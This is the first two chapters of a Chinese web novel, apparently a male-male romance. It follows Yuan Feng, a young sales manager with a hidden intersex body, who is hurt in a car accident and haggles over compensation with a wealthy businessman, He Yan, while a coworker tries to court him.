《元丰》 1. 第 1 章 炎炎夏日,热得人汗流浃背。 元丰回到公司,先去卫生间洗了把脸。镜中的男人皮肤白皙,被太阳暴晒过的双颊微微泛红。 他照着镜子,心里顿时有些不痛快,别说晒一上午,他的皮肤怎么晒都不会太黑,熬过一个冬天,又白得跟个小姑娘似的。 后头跟上来的杨伟走到另一个洗手池前,边洗边说:“经理,这天真他娘的热啊。” “热也没辙,咱们干业务的就得吃下这份苦。”元丰说,“下午开始我就不带你了,自己学着跑跑。” “辛苦了啊,经理。” “没事儿。” 等杨伟走了以后,元丰才从西裤口袋里掏出一小包湿巾。湿巾不够湿,必须再沾点水。 这是入夏以来,几乎每天都必干的事情。他皱起眉头,心里更不痛快了,正是这副遭人嫌弃的身体,害得自己至今不敢处对象,连女人的嘴也没亲过。 卫生间里有五个隔间,元丰每次都会去靠墙的那一间,那间面积最大。 带着手下的业务员跑了一上午,热得都快中暑了,除了摩擦还是摩擦,他弄湿了两张湿巾进了隔间,小心翼翼处理了一番。 元丰很少看自己,因为嫌弃。每次看到,他都会觉得自己不配讨老婆,不配有孩子。就算有一副还算吸引人的皮囊,也改变不了他身体畸形的事实。 唉,可能注定要打一辈子的光棍了。试问,有哪个女人能接受另一半有个跟自己一模一样的玩意儿? 收拾妥当后,元丰离开洗手间,路过公司前台时,跟新来没俩月的小美打了个招呼。 “小美,吃了没?” “怎么,丰哥要请人家吃饭呀?” “真聪明!” 虽然谈不了恋爱,但跟妹子打情骂俏还是可以有的。 元丰带小美去了公司附近的中式快餐店,他抹了一把鼻尖上沁出来的汗珠,刚想吐槽这三伏天,就见头顶上多了一片阴影。 “丰哥,一块儿撑吧。”小美举高自己的太阳伞凑过去了一些。 “不用不用,我一大老爷们,撑啥伞?”元丰拒绝道。 小美固执不听:“丰哥你还请我吃饭呢,就一块儿撑嘛。” 元丰不好意思再推拒,放慢步伐,随意调侃道:“哥这不是怕让公司的人误会吗?你也知道那些人嘴碎,请吃饭没事儿,这打伞就有点……” 小美笑吟吟道:“让他们误会去!我可不在乎。” 元丰笑了笑,没再说什么。他偏头瞄了一眼嘴角挂着甜美微笑的小美,心里颇有些不是滋味儿。如果自己是个正常的男人,只怕跟小美就不是同撑一把伞这么简单了。 曾经他动过不少次念头,要不干脆就找个女朋友吧,不让对方发现自己的秘密就完事儿了。 但只是想想,并没有真的这么去做。比起藏着掖着,他更想找到一个能完全接受自己的另一半。 中式快餐店里挤满了人,元丰看到角落正好有人吃完离开,他指着那张餐桌跟小美说:“你先去那儿坐着,吃的我点。” “好嘞,辛苦丰哥啦。” 元丰拿着红色托盘,在荤菜区里点了两个鸡腿、两个红烧狮子头还有一份糖醋排骨,又在蔬菜区随意挑了三样,结账时额外给小美点了一罐饮料。 小美看着元丰一手端一个托盘,心里对他的好感又多了几分,起身想帮忙:“丰哥,我来帮你。” “不用不用,你坐着就行了。”元丰刚坐下,就听到了旁边一桌的调侃,“哟呵,元经理,这是跟小美好上了?” 小美低着头没反驳,看着像是害羞,其实她私心希望被人误会。丰哥长得帅,又是单身,如果能跟他谈恋爱就好了。 元丰瞥了一眼隔壁桌的同事,是另一个部门的经理,叫方远。方远正跟他的下属一块儿吃饭,下属是个年轻小伙子。 他不客气地回怼道:“哟呵,方经理,你这是跟小王好上了?” 方远没想到元丰居然会调侃他跟男性下属,脸色一沉,随即笑道:“元经理可真有意思!小王这皮糙肉厚的哪里是我的菜?还是你这样细皮嫩肉的,瞧着顺眼。” 元丰也没想到居然搬起石头砸了自己的脚,他最忌讳别人说他细皮嫩肉,碍于小美在场不好发作,只能握紧拳头,把怒火给压了下去。 “丰哥,咱们吃饭吧。”小美及时出声。 “好,吃饭。”元丰没再搭理旁边的方远,安静地吃了起来。 方远不动声色地打量着旁边的男女,心里越想越恼火。他约小美约了几次都没成功,还以为她是有多清高,原来喜欢这种细皮嫩肉的。 莫名躺枪的小王战战兢兢,方经理是出了名的不好惹,说话还尖酸刻薄。他只能低着头老实吃饭,希望别再躺枪。 回去的路上,小美还想跟元丰同撑一把伞,却遭到了拒绝。她慢慢跟在元丰后头,仔细想了会儿还是鼓起勇气跟了上去。 “丰哥,我能问你个问题吗?” “啊?你问。” “你是不是不喜欢女孩子?” “……”元丰一惊,“想啥呢,我怎么可能会不喜欢女孩子。” “可是你……”小美有点失落,“你老请我喝奶茶,请我吃饭,有时候还故意跟我打情骂俏,又老忽冷忽热的,我搞不清你到底什么想法,你是不是把我当成姐妹了?” 元丰差点喷血,居然被误会成同性恋,真是哑巴吃黄连有苦说不出。 他憋了半天,最后只得胡乱找个借口:“不好意思啊,小美,其实我有女朋友……” “原来你……你有女朋友!那你为什么还要跟我打情骂俏,你……你太过分了!” “但是她已经走了。” “啊?” 元丰酝酿了下情绪:“两年前车祸走的,我总是忘不了她,每当想重新开始时,她的影子就时不时出现。对不起,哥不该跟你打情骂俏。” 小美惊讶地张了张嘴:“对不起,丰哥……我不知道你还有这样一段过去。” “没事儿,我会努力走出来的。”元丰松了口气,“走吧,回公司。” “好吧。”小美心情复杂地跟了上去。 元丰下午没出去跑,一是天太热,二是难以启齿的地方实在有些不适。还好当上业务经理,大部分时间都在办公室里待着。下班后,他等前台的小美走了,才去停车场那儿骑上自己的电动车回家。 唉,要是没方远那个傻缺坏事儿,他跟小美也不至于戳破这层暧昧关系。不戳破,就能送小美回家,那双软软的小嫩手还会故意搭在自己的腰上。 回到出租房,元丰第一件事情就是洗澡。温水顺着胸膛一路往下冲刷,他低骂一声,随后像是泄恨般,自虐地惩罚起自己来。 “嘶……你他妈的……多余的玩意儿!”痛过之后,元丰老老实实地继续洗澡,经历了一上午的奔波,他真的很累,也很痛。 冰箱里有昨晚剩下的半条鱼和一些萝卜干,元丰用电饭锅煮上白粥,去了卧室。 他打开电风扇,调成风力微弱的一挡,跟着就像一条死鱼似的瘫在床上,微风吹过,身体一阵清凉,舒服了不少。 先洗澡,再擦药,最后给多余的玩意儿吹吹风,是每天下班必做的流程,只为了让自己少受点罪。 元丰反感这样的自己,他曾自暴自弃地将自己弄伤过,出了不少血,最后不得已去超市买了女性专用的卫生巾。 自己上辈子到底造了什么孽?因为这副畸形的身体,他被亲生父母给卖了。明明有喉结有男性正常的特征,可是却不长胡子。 他像个不男不女的怪物,失去了作为男人的机会。 翌日。 元丰穿上体面的白色衬衣,利落地将下摆塞进西裤里,再系上皮带。他看着镜中的自己,即便是刻意打扮得成熟些,这张秀气的脸却始终无法与穿着匹配。 唉,凑合活着吧。 下辈子投个好胎,做个真正的男人。 八点的太阳已经开始毒辣、刺眼。早高峰的非机动车道异常拥挤,不是电动车就是自行车。元丰没来得及赶上绿灯,只能停下。 他眯着眼看向前方来往的车辆与行人,每个男人看上去都挺有精神,有的还留着胡子,瞧上去男人味儿十足。 街边走来一个穿着工字背心、黑色裤衩的男人,男人体格健硕,肌肉发达,那结实的大腿看着……元丰低头看了看自己的腰,那大腿好像比自己的腰还粗。 操,这才是真正的男人啊! 就在元丰心生羡慕的时候,一个巨大的冲击猛地将他直接撞飞,大脑瞬间懵逼。 怎么回事儿? 这好端端地等着红绿灯,我怎么突然飞起来了? 什么叫飞来横祸?就算是找个安全的地方待着,该着的事儿,谁也别想躲掉。元丰趴在地上动弹不得,感觉自己浑身都在疼。 妈的,到底是哪个不长眼的傻缺司机,大清早的就给他找晦气。 “小伙子,你没事儿吧?” 元丰被穿着工字背心的肌肉猛男扶了起来,冒着热汗的健硕身躯贴上了他胳膊,他闻到了浓烈的男性荷尔蒙,那是汗液与阳刚之气交杂的味道。 这就是男人的味道吗? 肌肉男以为他被撞傻了,伸手在他面前晃了晃:“别是脑震荡了吧?嘿,有反应不?” 元丰这才反应过来,他听到前方一片哀号,还有各种嘈杂声。原来是一辆失控的路虎朝着非机动车方向撞了过来,撞倒了一大片。 因为他排在第一个,被撞得最惨,飞得最远。 “谢……嘶……”刚要说谢谢,元丰发现自己胳膊疼得厉害,膝盖那儿的西裤蹭破了两个洞,皮肤已经磨破,开始往外渗血。 肌肉男好心道:“试试能不能站起来,这真他娘的飞来横祸啊!” 元丰在男人的搀扶下站了起来,可男人一松手,他又摔了下去。 “我去,你这腿是不是骨折了啊?”肌肉男怕担责,不敢再碰,“我去看看前头的大爷大妈,你先在这儿坐着。” 元丰道了声谢谢,看着那个肌肉男加入了热心的群众。在阳光的笼罩下,那结实发达的肌肉仿佛哧哧冒着热气,泛着诱人的古铜色,真是好看啊…… 他感觉自己的身体突然不对劲,跟失.禁了似的,本以为只是错觉,直到几秒后,感觉鲜明,才意识到自己身体真的出了问题。 为什么? 贺颜摸了摸被撞痛的前额,皱眉道:“怎么开的,准备送我上天?” “我哪敢送你上天啊?”主驾座上的费凡看到前方一片惨状,紧张坏了,“完了完了,撞了这么多人,我他妈都不敢下去了,怎么办?” “怕什么。”后座的乔安嘲笑,“瞧你这怂逼样儿,又不是赔不起。” 费凡快速扫了一圈,看到不远处有个抱着胳膊坐在地上的年轻人,双膝还在流血。 他惊道:“那男的坐着不动,赔钱能了事儿吗?我先打个120。” 乔安顺着费凡指的方向看去,那男的除了膝盖破皮,胳膊擦伤之外,看着并无大碍。 他随口道:“可能是想趁机讹钱,虽然咱们不差钱,但不能助长这种歪风邪气,你先下去看看,我联系交警。” 贺颜坐在副驾,因为没系安全带,头猛地磕到挡风玻璃上。 他语气相当不耐烦:“赶紧去处理,磨叽什么?” 费凡昨晚过生日,一帮人闹了个通宵才结束。这生日刚过完,就碰上糟心事儿。 他不敢惹贺颜生气,只得火速下车,结果刚下车就被一众受害者给围了起来,各种数落谩骂紧随其后。 “你怎么开车的?!” “哎哟……我这胳膊哟,痛死了哟……” “我的车都让你给撞坏了,赶紧给我个说法!” “我已经报警了!” “我他妈还要上班呢,这误工费你怎么给我算?别耽误我时间!” 东一句西一句的,费凡头疼得不行。 “我头疼。”贺颜靠在副驾上,催促乔安,“你下去帮着处理下。” “行。”乔安打开另外一侧车门,避开人群,径直朝着街边走去。其他受害者看着都活蹦乱跳,中气十足的,唯独那个坐在地上的,应该不太好处理。 元丰今天没法去公司上班了,也不知道这算不算工伤。他看着不远处的黑色电动车,摔得有些惨,不过再惨,哪有他这个主人惨? 妈的,手臂怎么还抬不起来了…… 他现在胳膊疼腿疼,总之哪哪都,心里又开始痛恨起这副不男不女的羸弱身体,还有突然犯毛病的身体。 “坐着不起,是腿折了吗?” 元丰正检查胳膊的擦伤,头顶上突然飘来这么一句话,带着刻薄的语气。 他抬头,一个相貌出众的男人正居高临下地盯着他,这回不光是语气刻薄,连那眼神都带着几分轻视的意味。 “蹭破了点皮,不至于吧?”乔安看了眼年轻人正在渗血的膝盖,“站起来。” 元丰本来心里就有火,被男人莫名其妙的嘲讽搞得更加恼火,不知道这个傻缺是从哪里蹿出来的,他怒怼道 :“我他妈就爱坐地上,关你屁事儿?” 乔安被吼,不怒反笑:“你这是打算讹上了?” 元丰这才知道男人跟肇事车主是一伙儿的,但此人态度恶劣,他不想跟对方谈,转头盯着前方的情况。路虎车主被那群受害者围了起来,正叽叽喳喳地吵闹着,姑且坐着等吧,一会儿交警也该来了。 被无视的乔安脸色有些难看,见年轻人一直盯着贺颜跟费凡的方向看,似乎是在盘算着讹多少钱合适。 他挪了个位置,直接挡住年轻人的视线:“说个数,要多少?” 虽然坐在树荫里,但元丰还是燥热无比,浑身不痛快,抬头开喷: “你他妈别挡道行不行?” “嘴真脏。”乔安刚说完,有交警骑着摩托车过来了。 贺颜见事情还没处理好,亲自打开车门下了车,走到费凡身边:“让你赶紧处理,你在这儿聊天?” “我这不是跟他们沟通呢吗?”费凡解释道。 某大妈 :“我这胳膊疼哟,赶紧带我上医院拍片子去!” 某大爷指着刚下车的贺颜,大声嚷嚷道 :“你说赶紧就赶紧,我这腿还疼着呢!必须上医院瞧瞧去,警察来了,你们一个都别想赖!” 贺颜脸色一黑,毕竟自己这头不占理,跟费凡说 :“交警来了。” 乔安走了过来,调侃费凡 :“我去买包瓜子给你边嗑边聊?你不知道贺颜还有急事儿吗?” “你们处理吧。”贺颜拿出手机,“我打电话叫助理来接。” “等等。”乔安指了指远处的人,“那人坐在地上不肯起,估计想讹咱们。我问他要多少钱也不说,嘴还特脏。” “你还行不行了?”贺颜将手机塞回兜里,“我去处理。” 乔安没跟过去,帮着费凡一起和交警沟通商量,该赔偿的赔偿,该送医院的送医院。 元丰见刚才那傻缺伸手指了指自己,随后边上俩男人转头看向他,中间最为高大的那个男人在盯着他看了几秒之后,一步步走了过来。 他突然有些心慌,这男人虽然没穿背心和大裤衩,但体格看着同样健硕,那充满力量的结实胳膊,估计一拳就把自己给打死。 短暂的心慌过后,他发现了个可怕的现象,身体的毛病好像又厉害了。 “胳膊和腿怎么样?” 元丰抬头,男人比想象中的要高大结实,目测身高快两米了。近距离接触才看清楚,对方五官硬朗帅气,浑身还散发着一股爆棚的雄性荷尔蒙。 贺颜见年轻人一直盯着自己看也不吭声,一副失了魂的模样。久经情场的他对这种眼神再熟悉不过,于是目光直白地开始将人从头打量到尾。 长得不错,皮肤挺白,有些瘦弱,估计不耐操。 男人审视的目光将元丰拉回现实,他立刻垂下脑袋,心里盘算着要怎么沟通这场事故的赔偿。 作为被撞的受害者,那肯定不能怂。医疗费、误工费、营养费、电动车修理费什么的,一个都不能少。 他不喜欢讹人,但也不喜欢吃亏。 贺颜生得高大,一直低头说话着实费劲。他蹲下来,重复道 :“胳膊和腿怎么样?” 声音变近了,似乎就在耳边。元丰侧头一看,直接对上男人的视线。他心里咯噔了一下,紧跟着身体迅速起了变化,更厉害了。 妈的,怎么会这样? 除了强烈的压迫感之外,身体的不适也让他特难受,他又低下头,赶紧说:“手臂动不了了,腿还不知道。等交警判定好责任,我这儿误工费医疗费乱七八糟的,都得算一算。” “还有我那车也坏了,要修多少钱还不确定。精神损失费我就不要了,你们把该赔的赔一下就行。” 贺颜觉得乔安说的信息有误,这不挺老实的吗?连精神损失费都不要了,还挺大方。 “站起来试试,不行我给你叫救护车。” 元丰犹豫着要不要站起来,先前肌肉男扶他时没站稳是因为没缓过来。刚才那傻缺让他站起来时,他就是浑身太疼想歇歇。 可现在…… 见男人说完话就站了起来,元丰扯了下自己的卡其色休闲西裤,裤.裆前有了片深色阴影。 他相当自然地把左手搭在□□处,说道 :“不用了,我能走,就是想坐着歇会儿。你留个联系方式吧,回头我在医院看好胳膊,把费用清单什么的发给你。还有车子修理费,该多少就是多少。你放心,我不讹钱。” 上一秒还不知道腿怎么样,下一秒倒能走了?贺颜通过男人刚才古怪的举动,知道对方不肯站起来的原因了。 乔安以为有戏看,走过来才发现没看头。他问贺颜 :“真骨折了?” “有可能。”贺颜当场交代乔安,“你扶他起来,送他去医院。” 元丰 :“……” 乔安一惊 :“什么?你让我扶他起来?” 元丰是想去医院,但绝不是这么个去法,连忙拒绝 :“不用,你们留个联系方式就行,我自己去。可能胳膊骨折了,腿没什么问题。” 贺颜扫了一眼男人的裤.裆,他的手始终搭在那处。看似随意的举动,实则蠢得可以。 好一个此地无银三百两。 乔安还处于懵逼状态,就听见贺颜跟他说:“把我联系方式给他,你跟着去医院看看情况,我先走了。” 元丰没想到这男人还挺热心肠,连带着看之前那个傻缺都顺眼不少,既然对方愿意上赶着送自己去医院,那就送吧。 “……”乔安以为自己听错了,赶紧跟上要走的贺颜,追问, “不是,这到底什么情况?把你联系方式给他?” 贺颜停下脚步回头看了一眼,年轻人拿开捂着的左手,撑在地上准备站起来。在察觉到他的视线之后,立刻假装没使上力,又坐着不起了。 他原以为对方只是在极力掩饰自己起的反应,结果发现压根不是这么回事儿。 搞了半天是尿裤子,真够可以的。 “你不会是瞧上他了吧?”乔安问道。 贺颜确实来了点兴趣,前提是没看到对方尿裤子。他不想再多说 :“我走了,你看着处理吧。” “……”乔安语塞,这他妈让我怎么处理? 等男人离开后,元丰用能动的左手撑着地面慢慢地站了起来,双腿确实好多了,看来没废。 他一 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:“我叫乔安,刚才走的那个叫……你叫他贺总就行,加贝贺。回头我把他联系方式给你,医疗费我待会儿替你付,后续赔偿的费用你直接找他要就行。” “哦哦,谢谢。” “你是做什么的?”乔安随口问道。 问到做什么,元丰心里骄傲,面上却谦虚地说 :“我在一家金属材料公司里做业务经理。” 想他十六岁就来这座城市打拼,什么苦没吃过?才二十二岁就坐上了业务经理的位置,手底下管着七八个业务员,可见是有两把刷子的。 乔安对元丰的职业并不感兴趣,只是在帮贺颜收集基本信息而已。他又问 :“你多大了?” “二十二了。” “才二十二?穿这么成熟。” 说到这个,元丰又有话要说了,继续谦虚道 :“我是经理,手底下管着好几个业务员,不稳重点管不住他们。” “哦,还挺厉害。”乔安心里忍不住嘲讽,穿得再成熟有屁用,要不能被贺颜给瞧上? 到了就近的三甲医院,元丰做了一系列检查还拍了片。他的右臂确实骨折了,还好只是裂缝骨折没有移位,打上石膏固定休养一个月就行。 乔安跑前跑后忙成狗,最后还得送佛送到西,一路把人送回家。他看着破旧的老楼房直皱眉 :“你不是经理吗?怎么住这种地方。” 元丰现在对乔安是一点意见都没有了,这有钱人还挺好说话的。他解释道 :“房租便宜,我得攒钱。” “攒钱干什么?” “买房啊。” “哦。”乔安体会不到穷人的艰苦生活,笑了笑,“你马上就走运了,还买什么房?手机给我,我把他电话给你存上。你那破电动车也别要了,他会给你换新的。” 元丰不知道自己要走什么运,不过一想到误工费之类的后续赔偿,加起来怎么也得好几千。 好像确实是走运了。 一进屋,元丰就直奔卫生间,用不熟练的左手费劲地解开皮带,脱了休闲西裤检查。 操,都是医院里来回奔波惹的祸,气得他想拿剪刀把严重影响生活的玩意儿给剪了,忒他妈烦人。 接下来还是每日必做的流程,只不过做起来比平时费劲不少。元丰看着打了石膏的右臂,早就下去的怒火噌一下又冒了上来。 这哪里是走运了?就算赔个一万有屁用!日常生活中的鸡零狗碎要怎么弄? 想完这些烦心的,他又开始想工作,一想到手底下那几个业务员,就觉得自己必须时刻紧盯着,不能歇在家里养伤,万一总经理重新招个替补的业务经理来取代他怎么办? 这位置还没坐热,他可不想下去。要不就带伤工作,这份恪尽职守的职业精神没准还能感动领导,得几句夸奖。正好因为有伤,办公室里待着就行了。 摇头的风扇呼呼吹着小风,他躺在凉席上,逐渐打起了瞌睡。 妈的,怎么睡着了? 元丰迅速坐起身,直接真空套上一条宽松的运动中裤就出门了,这不试不知道,试了才发现感觉真不错。早知如此,夏天就不应该穿内裤,何至于受那么多罪? “我去,你这胳膊……”许辉在约定地点见到受伤的兄弟,着实一惊,“撞你的人赔钱了没?这撞得忒狠了!” 元丰说 :“医疗费付了,其他的钱还没赔给我,一会儿你帮我看看电动车修一下得多少钱。” “我说你怎么工作日把我给叫出来,那你这上班怎么弄啊?” “不知道,请过假了。我明天去公司看看再说,得盯着他们的业绩。” “要我说就在家歇着,让肇事者直接赔你俩月的工资。” 比起误工费,元丰只关心他的经理头衔 :“歇俩月再回去,那我别干了。” 俩人说着就到了事故发生的地点,许辉看了一圈,问道 :“你车呢?” “操,我车呢?”元丰也四处看了一圈,发现他的车没了,“这得穷成什么德行,连我那破逼车都不放过。” “就是这种破逼车才更好下手,偷你电瓶卖你车架子不是挺正常?” “妈的,最近犯太岁了,我回头得烧个香去!” 许辉嘿了一声,又说 :“车被偷了不是好事儿吗?你直接让肇事者赔你一辆新车,正好你那电瓶也该废了。” 元丰拧眉思考了一会儿 :“你说人会不会觉得我是故意的?以为我想讹一辆新车啊?” “我觉得不至于,你不说人开路虎的吗?”许辉抬头看了看,“这儿有监控,他要真怀疑你,报案调监控。” 元丰一想也是,他让许辉原地等着,说自己去边上打个电话。 北城另一头,贺颜刚开完会,手机突然响了。他见是个陌生号码,直接挂断。 被挂断电话的元丰有些郁闷,这有钱人不会想赖账吧?付完医疗费就不管不顾了?他不死心地再拨了一遍。 陌生号码再次打来时,贺颜接通了,却没说话。 “是贺总吗?你好,我是元丰。” 元丰?贺颜不认识什么姓元的,听到“贺总”,以为是以前的哪个小情儿。 “什么事儿?” 看来认出自己了,元丰赶紧说道 :“是这样的啊贺总,我下午过来准备把车送去修,可你猜怎么着?我发现车让人给偷走了。我那车买的时候两千六百块钱,不过也骑了一年,折旧算下来,我不多要,你给个两千块钱就行。” 一听是要钱的,贺颜想起元丰是哪号人物了,不就上午尿裤子的那个小白脸吗?他以为乔安已经处理好了,看来自己没说清楚。 元丰听不到那头说话,担心自己是不是要太多了,有钱人应该不差那几百块钱吧?再说了,要是车没被偷,他需要花两千多去买辆新的? “你这折旧率怎么算的?” “……” 元丰心里操了一声,果然越有钱的越精明,还抠门。他一本正经地胡诌道 :“是按着卖二手的行情算的。我这车虽然骑了一年,但保养得特别好,九成新。你要是觉得不合理,我再让个二百吧。” 得亏贺颜记忆力不错,没忘了上午见过的那辆黑色破电动车。他觉得这小白脸有点意思,要讹也不讹个大的。 “还挺会做生意,怎么不打个八五折?” 一百块钱的来去还斤斤计较,元丰咬了咬牙 :“那就一千七吧。” 贺颜看了下时间 :“行,待会儿发个地址给你,过来拿钱。” 元丰还得请许辉吃个饭,不知道要不要现在去拿钱。他想了几秒,说道 :“我就是提前说一下,怕你不信。我车是真的被偷走了,这儿有监控的。” 贺颜不想再听元丰叽叽歪歪 :“知道了,过来再说。” “我明天要去公司谈谈误工费什么的,到时候一块儿结算,你看行不行?”元丰想了想,又改口说,“我现在有点事儿,要不你加我微信转账给我,微信就是这个手机号。” 贺颜刚上来的那点兴致被元丰一句接一句的屁话给败光了,他回绝道 :“先凑齐你那些乱七八糟的费用再说。” 元丰还要说什么,电话直接被挂了。 他盯着手机屏幕发愣,闹不明白什么意思。上一秒还说拿钱,怎么下一秒直接这样?不会想赖账吧? “你说他是不是想赖账?”元丰越想越不对劲,“现在谁不用微信啊?” “真赖账就不接你电话了。”许辉说,“我知道了!有钱人不都直接开支票吗?估计是想在你面前装个逼。” 元丰不免有些担忧:“希望是这样啊,要是真赖账的话还得报警,忒麻烦了。” “你明天再给他打个电话试试,不行咱就报警处理。” “行。” 元丰跟许辉找了个路边烧烤摊,心情舒畅不少,还高兴地点了几瓶啤酒。 “你这刚骨折,医生让喝吗?” “操,你不说我都忘了。那我偷偷喝一杯,剩下的你喝。” 用左手吃东西着实费劲,元丰越吃越不痛快,舒畅的心情又没了。 他喝了一口啤酒,低骂道 :“怪不得大前天我这眼皮老跳,现在别说洗澡,刷牙洗脸都费劲。” “我老劝你找个女朋友你不找,还能照顾你。我媳妇儿前阵子刚同意跟我一块儿住,我跟你说啊……”许辉拍了拍兄弟的肩膀,低声说道,“这女人啊,身上有股子香味儿,你就不想抱着摸吗?我跟我媳妇儿天天……” 元丰差点被这狗粮给噎死 :“你这过分了啊!” “自己体会,我就不多说了。” “……” 元丰在心里叹了口气,别说摸一摸,他连女人的手都没拉过,唉…… 那玩意儿倒是摸过一个,还他妈是自己的。 2. 第 2 章 费凡闷了一口酒,不爽地吐槽:“破路虎已经被我扔车库里了,再开它我就跟你姓。” “别,我可不想要你这么大的儿子。”乔安笑着嘲讽,“你这是典型的拉不出屎赖茅坑,幸亏这次不严重,骨折的就一个。” 费凡早就忘了路边坐着的伤者,经乔安这么一提醒才想起来,他问:“那人真骨折了?” “嗯,右臂骨折。”乔安看到不远处走过来的男人,抬了抬下巴示意费凡看过去,“不光骨折了,还被我们贺总给瞧上了。” “真的假的?” “他本人过来了,你自己问。” 贺颜刚坐下,费凡就凑上来八卦,贺颜想起那个两次败兴的小白脸,皱眉问乔安:“我不是让你自己处理吗?” “……”乔安懵逼,“你不是说……这就没兴趣了?我连他的资料都帮你打听好了。” 贺颜:“说来听听。” 乔安搞不懂贺颜的态度,说:“他叫元丰,一元的元,丰收的丰。才二十二岁就当上了业务经理,还挺牛逼。可惜住的地方忒破,说是在攒钱买房。” 贺颜听完,慢慢给自己倒了一杯酒。 费凡:“才二十二就穿得像个四十二的,那都是他爸的衣服吧?既然这么困难,我多赔点钱给他。” 乔安见贺颜无动于衷,问:“他打电话找你要钱了?你要嫌麻烦,我去给你处理。” “不用。”贺颜淡淡说道,“挺有意思的。” 费凡看看乔安又看看贺颜,纳闷道:“怎么就有意思了?我跟不上你们的节奏啊。” 乔安:“……” 穿上成熟稳重的黑色polo衫后,元丰开始费劲地穿西裤,等西裤提上腰,发现单手没法穿皮带。 真是要了命,看来赔偿款里得再加一项生活困难补偿款。他今天要去公司,经理的架子可不能丢,所以短袖裤衩什么的肯定不合格。 一番折腾后,皮带终于被系好。元丰理了理塞进西裤里的衣服下摆,把一串只有两把钥匙的钥匙扣别在了裤腰上。 由于出行不便,他奢侈地打了辆出租车,默默把打车费用记录在手机备忘录里,打算回头一块儿算总账。 “哟!这不是元经理吗?”方远走到元丰旁边冷嘲热讽,“胳膊都废了还想着来工作,可真够敬业的啊。” 元丰瞧不上方远这傻缺,二十九岁的人了还只能混个售后部经理,手底下也就四个员工。 他笑着回怼:“我们业务部比较繁忙,不像有些部门,屁大点事儿处理不好就算了,上班也跟混吃等死似的。” “你!”方远忍住揍病患的冲动,怒瞪着元丰。 元丰不屑地冷哼一声,不穿内裤的他,健步如飞地远离了傻缺。 先去业务部视察了一圈,业务员们一看见业务经理,立刻有礼貌地打起招呼并关心元丰的伤势。 元丰表示无大碍,表情变得严肃起来:“过来开会,把昨天的业绩都给我汇报一遍。” 业务员们:“是,经理!” 元丰喜欢开会,每天早上进部门第一件事儿就是开会。他特别享受被下属拥戴讨好的滋味儿,这让他找回了做男人的感觉。 会议结束后,他去了总经理办公室。 “小元啊。”黄振兴没想到员工这么敬业爱岗,激动地感叹道,“你这敬业精神相当不错!公司有你这样的员工,是公司的幸运。” 总经理是大老板的亲兄弟,元丰趁机拍起马屁:“经理,您千万别这么说,公司就是我家,能成为大家庭中的一员,是我的幸运。” 黄振兴满意地点点头,笑道:“你去人事部找小唐请一星期病假,回家好好养伤,下周再过来上班,我给你顶着。” “谢谢经理。”元丰面露不舍,“就是一星期太久,我歇个两三天就行了。” “听我的!赶紧去。” “是。” 请完假,元丰没立即走人,回到办公室拿出计算器和草稿纸开始算钱。 刨除一星期的病假,等手彻底好了能骑上电动车起码得一个半月,打车单趟花了十八,四舍五入就是二十,这一来一回正好四十块钱,然后四十乘以四十五天,一千八百元。 他算了半天,发现自己忘记刨除休息日了。可转念一想,这多出来的交通费和杂费,正好填补了电动车打的折扣。 算来算去,这钱不又回自己兜里了吗? 一番精打细算过后,元丰掏出手机拨了贺总的电话。 电话无人接听,他一直等到自动挂断,开始担心那个贺总是不是突然变卦,不想负责任了。早知道昨天就应该留一个乔安的电话,现在想找都不知道上哪儿找人。 元丰心情烦躁地走出办公室,刚要离开公司,遇上了前台的小美。 “元经理!”小美抬手打了声招呼,“你过来一下。” 元丰立刻调整情绪,走到前台笑着招呼道:“早啊,小美。” “我昨天听说你的事儿了,还想着你怎么没来跟我打招呼。现在胳膊还疼吗?是不是吃饭都不方便了?”小美关心道。 元丰没想到小美这么体贴人:“不疼了,生活上还凑合,左手多用用就习惯了。” 小美看着白净秀气的元丰,怎么看怎么满意,就是穿得老土了些。经过一天一夜的思考,她做了个决定。 “丰哥,这个给你。” 元丰见小美递过来一个精致的纸袋,伸手接过问她:“这是啥?” 小美低声说:“我昨晚去逛街了,给你买了身衣服,你先别急着拒绝我,我已经想好了。丰哥,我会陪着你一起走出阴影的。” “……”看着小美认真的眼神,元丰心里有感动有失落。 “丰哥,其实那个,你长得……”小美腼腆地低下了头,“挺帅的,干嘛老给自己打扮得这么成熟啊?你那钥匙不能挂腰上,太像黄经理了。” 元丰低头看着腰上的钥匙,尴尬地赶紧解下来揣进了西裤兜里。 他就是刻意在模仿总经理的气质,自从这么打扮之后,感觉手底下的那些业务员更听话了。 小美扑哧一笑:“哎呀,我就是随口一说嘛。这身衣服你回去试试,拍个照给我看看好不好?” “小美……”元丰张了张嘴,不知道该说什么。他虽然没谈过恋爱,但小美的心思已经表现得足够明显。 “好啦,我不跟你说了。”小美怕元丰再拒绝自己,“丰哥你快回去休息吧,我要忙了。” 元丰拎着小美送的衣服,心情复杂地离开了公司。回去的路上,他一直在反复思考要不要试着跟小美处对象。 到家后,他打开纸袋,里面是一件纯棉的白色印花T恤和一条卡其色的休闲九分裤,料子摸着柔软舒适。如果说原本还有犹豫,在看见这套衣服时,他想清楚了。 费劲地试穿上新衣服和新裤子,元丰在卫生间里拍了两张照片给小美发了过去。 元丰:【拍不到下半身,衣服裤子都很合身。谢谢你啊,小美。】 小美:【哇!丰哥你这样真帅,像个大学生。】 元丰看着小美发来的花痴表情包,咧着嘴笑了。 元丰:【小美,等休完病假,哥请你吃饭。】 小美:【好哒。丰哥你在家好好养伤,不急,我等你。】 元丰照着镜子,突然觉得自己顺眼不少。这大概就是人逢桃花精神爽,妙啊。他回卧室准备把新衣服给脱下来,看到凉席上的手机,又想起了没接电话的贺总。 不行,必须再打一个过去问问!要是不接,多半是想不认账了。 他再次拨了贺总的电话,等了二十几秒,通了。 贺颜刚结束会议,陌生号码再次来电。一个多小时里连打了两回,那小子可能以为自己想赖账,慌神了。 他压低声音,语气有些严肃:“十二点之前不要给我打电话。” “……”元丰急忙说,“等一下,贺总。我就是想说我已经算好了,你看你什么时候有空,咱们约个地方谈谈赔偿问题。” 等会议室清静了,贺颜站起身走到落地窗前,心里琢磨着晚上怎么安排。 元丰快等死了,那头跟哑巴似的不吭声。他耐着性子,重复道:“贺总,你看你什么时候有时间?我凑你。” “今晚,地址我会发给你。” “哦哦,那就今晚。” 操,可算说话了。一想到晚上能拿一万多的赔偿款,元丰心里就痛快得不行。 元丰把赔偿资料和各种单据装进公文包里,穿着小美送的一身新衣服出门了。 他本想换下来洗干净了再穿,可一想自己要去跟有钱人谈赔偿,这个气质方面必须有提升,而且贺总发来的位置他认得,是一家私密性比较好的高级咖啡厅,他曾经有幸跟着黄总经理去过一趟。 